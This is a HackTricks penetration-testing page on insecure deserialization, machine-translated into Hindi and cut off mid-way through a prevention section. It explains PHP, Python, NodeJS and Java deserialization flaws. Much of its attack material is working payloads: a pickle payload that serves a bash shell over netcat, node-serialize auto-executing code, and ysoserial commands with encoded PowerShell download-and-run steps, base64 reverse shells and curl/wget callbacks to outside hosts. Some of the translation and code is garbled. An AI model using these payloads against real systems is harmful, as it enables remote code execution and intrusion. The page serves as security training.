hacktricks/pentesting-web/deserialization/README.md

82 KiB

डेसीरियलाइजेशन

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

सीरीयलाइज़ेशन एक ऐसी प्रक्रिया है जिसमें किसी ऑब्जेक्ट को एक डेटा प्रारूप में बदला जाता है जिसे बाद में पुनर्स्थापित किया जा सकता है। लोग अक्सर ऑब्जेक्ट को सीरीयलाइज़ करते हैं ताकि उन्हें संग्रहण में सहेजा जा सके, या संचार का हिस्सा के रूप में भेजा जा सके।

डेसीरियलाइज़ेशन उस प्रक्रिया का उल्टा है, जिसमें किसी फ़ॉर्मेट से संरचित डेटा को ले जाकर उसे एक ऑब्जेक्ट में पुनर्निर्मित किया जाता है। आजकल, डेटा को सीरीयलाइज़ करने के लिए सबसे लोकप्रिय डेटा प्रारूप JSON है। इससे पहले, यह XML था।

बहुत सी अवस्थाओं में आप सर्वर साइड में कुछ कोड ढूंढ़ सकते हैं जो उपयोगकर्ता द्वारा दिए गए किसी ऑब्जेक्ट को डेसीरियलाइज़ करता है।
इस मामले में, आप एक दुष्ट पेलोड भेज सकते हैं ताकि सर्वर साइड अप्रत्याशित ढंग से व्यवहार करें।

आपको पढ़ना चाहिए: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html अटैक करने के लिए कैसे सीखें।

PHP

सीरीयलाइज़ेशन के साथ उपयोग होने वाला जादूई मेथड:

  • __sleep जब एक ऑब्जेक्ट को सीरीयलाइज़ किया जाता है तो यह कॉल होता है और इसे एरे में लौटाना चाहिए।

डेसीरियलाइज़ेशन के साथ उपयोग होने वाला जादूई मेथड

  • __wakeup जब एक ऑब्जेक्ट को डेसीरियलाइज़ किया जाता है तो यह कॉल होता है।
  • __unserialize यदि यह मौजूद होता है तो __wakeup के बजाय यह कॉल होता है।
  • __destruct PHP स्क्रिप्ट समाप्त होने पर और ऑब्जेक्ट नष्ट होने पर कॉल होता है।
  • __toString ऑब्जेक्ट को स्ट्रिंग के रूप में उपयोग करता है लेकिन इसके अलावा इसमें फ़ंक्शन कॉल के आधार पर फ़ाइल पढ़ने या इससे अधिक कुछ करने के लिए भी उपयोग किया जा सकता है।
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

यदि आप परिणामों की ओर देखें, तो आप देख सकते हैं कि जब ऑब्जेक्ट को डीसीरियलाइज किया जाता है, तो फ़ंक्शन __wakeup और __destruct को कॉल किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आपको मिलेगा कि जब कोई विशेषता प्रिंट करने की कोशिश करते हैं, तो अब वह नहीं हो रहा है.

{% hint style="warning" %} यदि कक्षा में इसे लागू किया जाता है, तो __wakeup() के बजाय __unserialize(array $data) विधि को कॉल किया जाता है। यह आपको ऑब्जेक्ट को अनसीरियलाइज करने की अनुमति देता है और अर्रेय के रूप में सीरियलाइज किए गए डेटा को प्रदान करता है। आप इस विधि का उपयोग करके गुणों को अनसीरियलाइज कर सकते हैं और डीसीरियलाइजेशन पर आवश्यक कार्यों को कर सकते हैं।

phpCopy codeclass MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

आप एक PHP उदाहरण यहां पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहां https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहां https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP डिसीरियलाइज़ेशन + ऑटोलोड क्लासेस

आप PHP ऑटोलोड कार्यक्षमता का दुरुपयोग करके अनियमित php फ़ाइलें और अधिक लोड कर सकते हैं:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

संदर्भित मानों को सीरियलाइज़ करना

यदि किसी कारण से आप किसी मान को एक संदर्भ के रूप में सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (PHP के लिए ysoserial)

PHPGGC आपको PHP डिसीरियलाइज़ेशन का दुरुपयोग करने के लिए पेलोड उत्पन्न करने में मदद कर सकता है।
ध्यान दें कि कई मामलों में आपको एक ऐसा तरीका नहीं मिलेगा कि आप एप्लिकेशन के स्रोत कोड में डिसीरियलाइज़ेशन का दुरुपयोग करें, लेकिन आप PHP के बाहरी एक्सटेंशन के कोड का दुरुपयोग कर सकते हैं।
तो, यदि संभव हो सके तो, सर्वर की phpinfo() की जांच करें और इंटरनेट पर खोजें (और PHPGGC के गैजेट्स पर भी) कुछ संभावित गैजेट जिनका आप दुरुपयोग कर सकते हैं।

phar:// मेटाडेटा डिसीरियलाइज़ेशन

यदि आपने एक LFI खोजा है जो केवल फ़ाइल को पढ़ रहा है और उसमें php कोड को नहीं चला रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_ जैसे फ़ंक्शनों का उपयोग करके। आप एक डिसीरियलाइज़ेशन का दुरुपयोग करने की कोशिश कर सकते हैं जो होता है जब एक फ़ाइल को phar प्रोटोकॉल का उपयोग करके पढ़ा जाता है।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

जब ऑब्जेक्ट को अनपिकल किया जाता है, तो फ़ंक्शन __reduce__ क्रियान्वित होगी।
जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

अधिक जानकारी के लिए pickle jails से बचने के बारे में जांचें:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml और jsonpickle

निम्नलिखित पृष्ठ में यह तकनीक प्रस्तुत की गई है कि कैसे यामल्स पायथन पुस्तकालयों में एक असुरक्षित डिसीरियलाइज़ेशन का दुरुपयोग किया जा सकता है और इसके साथ एक उपकरण भी है जिसका उपयोग करके Pickle, PyYAML, jsonpickle और ruamel.yaml के लिए RCE डिसीरियलाइज़ेशन पेलोड उत्पन्न किया जा सकता है:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

कक्षा प्रदूषण (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS जादूई फ़ंक्शन

JS PHP या पायथन की तरह "जादूई" फ़ंक्शन नहीं है जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ फ़ंक्शन हैं जो सीधे बुलाए जाने के बिना भी अक्सर उपयोग होते हैं जैसे toString, valueOf, toJSON
यदि डिसीरियलाइज़ेशन का दुरुपयोग करके आप इन फ़ंक्शनों को कंप्रोमाइज़ करते हैं ताकि वे अन्य कोड को निष्पादित कर सकें** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करके) तो जब उन्हें बुलाया जाएगा तो आप विचारहीन कोड को निष्पादित कर सकते हैं।

एक और "जादूई" तरीका एक फ़ंक्शन को सीधे बुलाने के बिना बुलाने का है एक ऐसे ऑब्जेक्ट को कंप्रोमाइज़ करना जो एक एसिंक फ़ंक्शन द्वारा वापस दिया जाता है (प्रॉमिस)। क्योंकि, यदि आप उस वापसी ऑब्जेक्ट को एक और प्रॉमिस में बदल देते हैं जिसमें एक "then" नामक गुण होता है जिसका प्रकार फ़ंक्शन होता है, तो यह इसलिए निष्पादित होगा क्योंकि यह दूसरे प्रॉमिस द्वारा वापस दिया जाता है। अधिक जानकारी के लिए इस लिंक पर जाएं।

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ और prototype प्रदूषण

यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल पर नज़र डालें:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

यह पुस्तकालय फ़ंक्शन को serialize करने की अनुमति देती है। उदाहरण:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

यहां संकलित ऑब्जेक्ट की तरह दिखेगा:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरीयलाइज़ किया जाता है, तो सीरीयलाइज़ किए गए ऑब्जेक्ट में _$$ND_FUNC$$_ फ़्लैग जोड़ा जाता है।

node-serialize/lib/serialize.js फ़ाइल में आप इसी फ़्लैग को और कोड का उपयोग करते हुए देख सकते हैं।

जैसा कि आप अंतिम कोड टुकड़े में देख सकते हैं, अगर फ़्लैग मिल जाता है तो eval का उपयोग फ़ंक्शन को डीसीरीयलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से उपयोगकर्ता इनपुट eval फ़ंक्शन के अंदर का उपयोग किया जाता है

हालांकि, केवल एक फ़ंक्शन को सीरीयलाइज़ करने से उसे नहीं चलाया जा सकता है क्योंकि इसके लिए कोड के किसी हिस्से में होना चाहिए कि हमारे उदाहरण में y.rce को कॉल किया जाए और यह बहुत ही असंभाव्य है। फिर भी, आप सीरीयलाइज़ किए गए ऑब्जेक्ट में कुछ परेंथेसिस जोड़कर सीरीयलाइज़ किए गए फ़ंक्शन को ऑटोमेटिक रूप से चलाने के लिए उसे संशोधित कर सकते हैं। अगले कोड टुकड़े में अंतिम परेंथेसिस का ध्यान दें और कैसे unserialize फ़ंक्शन आपकोड को ऑटोमेटिक रूप से चलाएगा:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

जैसा पहले इंगित किया गया था, यह पुस्तकालय _$$ND_FUNC$$_ के बाद कोड प्राप्त करेगी और eval का उपयोग करके इसे चलाएगी। इसलिए, कोड को ऑटो-चलाने के लिए आपको फंक्शन निर्माण भाग और अंतिम ब्रैकेट को हटा देना होगा और बस एक JS वनलाइनर को चलाना होगा, जैसा कि निम्न उदाहरण में दिखाया गया है:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

आप इस विकल्पितता को शोधने के लिए यहां अधिक जानकारी पा सकते हैं।

funcster

यहां दिलचस्प अंतर है कि मानक अंतर्निहित वस्तुएं अभिगम्य नहीं हैं, क्योंकि वे बाहरी क्षेत्र में हैं। इसका अर्थ है कि हम अपना कोड चला सकते हैं, लेकिन बिल्ट-इन वस्तुओं के विधियों को नहीं बुला सकते हैं। इसलिए अगर हम console.log() या require(something) का उपयोग करते हैं, तो नोड एक अपवाद लौटाता है जैसे "ReferenceError: console is not defined"

हालांकि, हम आसानी से सब कुछ तक पहुंच पा सकते हैं क्योंकि हमें अभी भी ग्लोबल संदर्भ का उपयोग करके ग्लोबल संदर्भ तक पहुंच है, जैसे this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

अधिक जानकारी के लिए इस पेज को पढ़ें](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)

serialize-javascript

पैकेज में कोई डीसीरियलाइज़ेशन कार्यक्षमता शामिल नहीं है और आपको इसे खुद लागू करने की आवश्यकता होती है। उनका उदाहरण eval का सीधा उपयोग करता है। यह आधिकारिक डीसीरियलाइज़ेशन उदाहरण है:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसीरियलाइज़ करने के लिए किया जाता है, तो आप इसे आसानी से शोषण कर सकते हैं:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Cryo पुस्तकालय

निम्नलिखित पृष्ठों में आपको इस पुस्तकालय का दुरुपयोग करके अनियमित कमांडों को निष्पादित करने के बारे में जानकारी मिलेगी:

जावा - एचटीटीपी

जावा में डिसीरियलाइज़ किए गए ऑब्जेक्ट्स की मुख्य समस्या यह है कि डिसीरियलाइज़ेशन के दौरान डिसीरियलाइज़ेशन कॉलबैक को आमंत्रित किया जाता है। इससे एक हमलावर को उस कॉलबैक का लाभ उठाने और एक पेलोड तैयार करने की संभावना होती है जो कॉलबैक का दुरुपयोग करके दुष्कर्मी कार्रवाई करती है।

उंगली छाप

सफेद बॉक्स

सीरीयलाइज़ेशन कक्षाओं और फ़ंक्शन के लिए कोड में खोजें। उदाहरण के लिए, Serializable को लागू करने वाली कक्षाओं, java.io.ObjectInputStream या readObject या readUnshare फ़ंक्शन का उपयोग करने की खोज करें।

आपको इन पर भी ध्यान देना चाहिए:

  • बाहरी उपयोगकर्ता परिभाषित पैरामीटर के साथ XMLdecoder
  • fromXML विधि के साथ XStream (xstream संस्करण <= v1.46 सीरीयलाइज़ेशन मुद्दे के लिए संकटग्रस्त है)
  • readObject के साथ ObjectInputStream
  • readObject, readObjectNodData, readResolve या readExternal का उपयोग
  • ObjectInputStream.readUnshared
  • Serializable

काला बॉक्स

जावा सीरीयलाइज़ के ऑब्जेक्ट्स की उंगली छाप / मैजिक बाइट्स (ObjectInputStream से):

  • हेक्स में AC ED 00 05
  • बेस64 में rO0
  • application/x-java-serialized-object पर सेट किए गए एचटीटीपी प्रतिक्रिया के Content-type हैडर
  • पहले से संकुचित हेक्स में 1F 8B 08 00
  • पहले से संकुचित बेस64 में H4sIA
  • वेब फ़ाइलें जिनमें एक्सटेंशन .faces और faces.ViewState पैरामीटर हैं। यदि आपको वेबऐप में यह मिलता है, तो जावा JSF VewState डिसीरियलाइज़ेशन के बारे में पोस्ट पर एक नज़र डालें।
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

यदि आप जानना चाहते हैं कि जावा डिसीरियलाइज़ेशन अपशिष्ट कैसे काम करता है, तो आपको बेसिक जावा डिसीरियलाइज़ेशन, जावा DNS डिसीरियलाइज़ेशन, और कॉमन्स कलेक्शन1 पेलोड पर नज़र डालनी चाहिए।

व्हाइट बॉक्स टेस्ट

आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात अपशिष्टताएं हैं।

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

आप उन सभी पुस्तकालयों की जांच करने की कोशिश कर सकते हैं जिन्हें ज्ञात रूप से खुलासा किया गया है और जिनके लिए Ysoserial एक उत्पादन कर सकता है। या आप Java-Deserialization-Cheat-Sheet पर दिए गए पुस्तकालयों की जांच कर सकते हैं।
आप gadgetinspector का भी उपयोग कर सकते हैं ताकि आप उपयोग करने योग्य संभावित गैजेट श्रृंखलाओं की खोज कर सकें जिन्हें उपयोग किया जा सकता है।
gadgetinspector को चलाते समय (इसे बिल्ड करने के बाद) उसे जा रही चेतावनियों / त्रुटियों के बारे में चिंता न करें और उसे पूरा होने दें। यह सभी खोजों को gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt के तहत लिखेगा। कृपया ध्यान दें कि gadgetinspector एक उत्पादन नहीं बनाएगा और यह गलत सकारात्मक नतीजे दिखा सकता है

ब्लैक बॉक्स परीक्षण

बर्प एक्सटेंशन gadgetprobe का उपयोग करके आप जांच सकते हैं कि कौन सी पुस्तकालयें उपलब्ध हैं (और उनके संस्करण भी)। इस जानकारी के साथ, यह आसान हो सकता है कि आप किस payload का चयन करें जिससे संक्रमण की कमजोरी का उपयोग किया जा सके।
गैजेटप्रोब के बारे में और अधिक जानने के लिए यह पढ़ें
GadgetProbe ObjectInputStream संक्रमण पर ध्यान केंद्रित है।

बर्प एक्सटेंशन Java Deserialization Scanner का उपयोग करके आप ysoserial के साथ उपयोग किया जा सकने वाली विकल्पयुक्त पुस्तकालयों की पहचान कर सकते हैं और उन्हें शोषण कर सकते हैं।
जावा संक्रमण स्कैनर के बारे में और अधिक जानने के लिए यह पढ़ें।
जावा संक्रमण स्कैनर ObjectInputStream संक्रमण पर ध्यान केंद्रित है।

आप Freddy का उपयोग कर सकते हैं ताकि आप बर्प में संक्रमण की कमजोरियों की पहचान कर सकें। यह प्लगइन केवल ObjectInputStream संबंधित कमजोरियों की पहचान करेगा बल्कि Json और Yml संक्रमण पुस्तकालयों से भी vulns की पहचान करेगा। सक्रिय मोड में, यह सोए या DNS payloads का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।
आप फ्रेडी के बारे में अधिक जानकारी यहां पा सकते हैं।

संक्रमण परीक्षण

सभी चीजें यह नहीं हैं कि केवल यह जांचें कि क्या सर्वर द्वारा कोई भी कमजोर पुस्तकालय उपयोग की जा रही है। कभी-कभी आप संक्रमित ऑब्जेक्ट में डेटा बदल सकते हैं और कुछ जांचों को छलना कर सकते हैं (शायद वेबऐप में व्यवस्थापक विशेषाधिकार प्रदान करें)।
यदि आपको एक जावा संक्रमित ऑब्जेक्ट मिलता है जो वेब एप्लिकेशन को भेजा जाता है, तो आप SerializationDumper का उपयोग कर सकते हैं ताकि आप उस संक्रमण ऑब्जेक्ट को मानव पठनीय स्वरूप में प्रिंट कर सकें। जानना कि आप कौन से डेटा भेज रहे हैं, उसे संशोधित करना और कुछ जांचों को छलना करना आसान होगा।

शोषण

ysoserial

जावा संक्रमणों का शोषण करने के लिए सबसे अधिक जाना जाने वाला उपकरण है ysoserial (यहां डाउनलोड करें)। आप ysoseral-modified का भी उपयोग कर सकते हैं जिससे आप जटिल आदेश (उदाहरण के लिए पाइप के साथ) का उपयोग कर सकते हैं।
ध्यान दें कि यह उपकरण ObjectInputStream के शोषण पर ध्यान केंद्रित है।
मैं सलाह दूंगा कि आप पहले "URLDNS" payload का उपयोग करें और फिर RCE payload का उपयोग करें ताकि आप जांच सकें कि संक्रमण संभव है या नहीं। फिर भी, ध्यान दें कि शायद "URLDNS" payload काम नहीं कर रहा हो लेकिन अन्य RCE payload काम कर रहा हो।

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 में पेलोड को एनकोड करें
base64 -w0 पेलोड

जब java.lang.Runtime.exec() के लिए एक payload बनाते हैं, तो आप ">" या "|" जैसे विशेष वर्ण उपयोग नहीं कर सकते हैं ताकि एक execution के आउटपुट को रीडायरेक्ट कर सकें, "$()" कोमांड्स को चलाने के लिए या यहां तक कि एक कमांड में स्पेस से अलग तत्वों को पास कर सकें (आप echo -n "hello world" कर सकते हैं लेकिन आप python2 -c 'print "Hello world"' नहीं कर सकते हैं)। पेलोड को सही ढंग से एनकोड करने के लिए आप इस वेबपेज का उपयोग कर सकते हैं।

विन्डोज और लिनक्स के लिए सभी संभव कोड एक्जीक्यूशन पेलोड्स बनाने और उन्हें विकल्पशील वेब पेज पर टेस्ट करने के लिए आगे दिए गए स्क्रिप्ट का उपयोग करें:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

सीरियलकिलरबाइपासगैजेट

आप https://github.com/pwntester/SerialKillerBypassGadgetCollection का उपयोग कर सकते हैं जो ysoserial के साथ और अधिक एक्सप्लॉइट बनाने के लिए है। इस टूल के बारे में अधिक जानकारी टूल के प्रस्तावना के स्लाइड में है: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

मार्शलसेक

मार्शलसेक का उपयोग जावा में विभिन्न Json और Yml सीरियलाइज़ेशन पुस्तकालयों को अपनाने के लिए पेलोड उत्पन्न करने के लिए किया जा सकता है।
प्रोजेक्ट को कंपाइल करने के लिए मुझे pom.xml में इन डिपेंडेंसीज़ को जोड़ने की आवश्यकता थी:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

मेवेन इंस्टॉल करें, और प्रोजेक्ट को कंपाइल करें:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

इस जावा JSON पुस्तकालय के बारे में और अधिक जानें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

प्रयोगशाला

क्यों

जावा सीरीयलाइज़ किए गए ऑब्जेक्ट्स को हर जगह भेजने में बहुत रुचि है। उदाहरण के लिए:

  • HTTP अनुरोधों में - पैरामीटर, ViewState, कुकीज़, आप नाम लें।
  • RMI - व्यापक रूप से उपयोग किया जाने वाला जावा RMI प्रोटोकॉल 100% सीरीयलाइज़ेशन पर आधारित है
  • RMI over HTTP - कई जावा मोटे क्लाइंट वेब ऐप्स इसका उपयोग करते हैं - फिर से 100% सीरीयलाइज़ेशन ऑब्जेक्ट्स
  • JMX - फिर से, तार पर छोड़े जाने वाले सीरीयलाइज़ किए गए ऑब्जेक्ट्स पर निर्भर करता है
  • कस्टम प्रोटोकॉल - जावा ऑब्जेक्ट्स को भेजना और प्राप्त करना सामान्य है - जिसे हम आने वाले कुछ उत्पादों में देखेंगे

रोकथाम

अस्थायी ऑब्जेक्ट्स

Serializable का एक कक्षा उस कक्षा के भीतर किसी भी ऑब्जेक्ट को transient के रूप में लागू कर सकती है जो सीरीयलाइज़ किया नहीं जाना चाहिए। उदाहरण के लिए:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

एक कक्षा की संचारीकरण से बचें जो Serializable को लागू करने की आवश्यकता होती है

आपके कुछ अनुप्रयोग ऑब्जेक्ट को उनकी वंशवृद्धि के कारण Serializable को लागू करना पड़ सकता है। अपने अनुप्रयोग ऑब्जेक्ट को डिसीरियलाइज़ नहीं किया जा सकता होने की गारंटी देने के लिए, एक readObject() मेथड घोषित किया जाना चाहिए (जिसमें final संशोधक हो) जो हमेशा एक अपवाद फेंकता है:

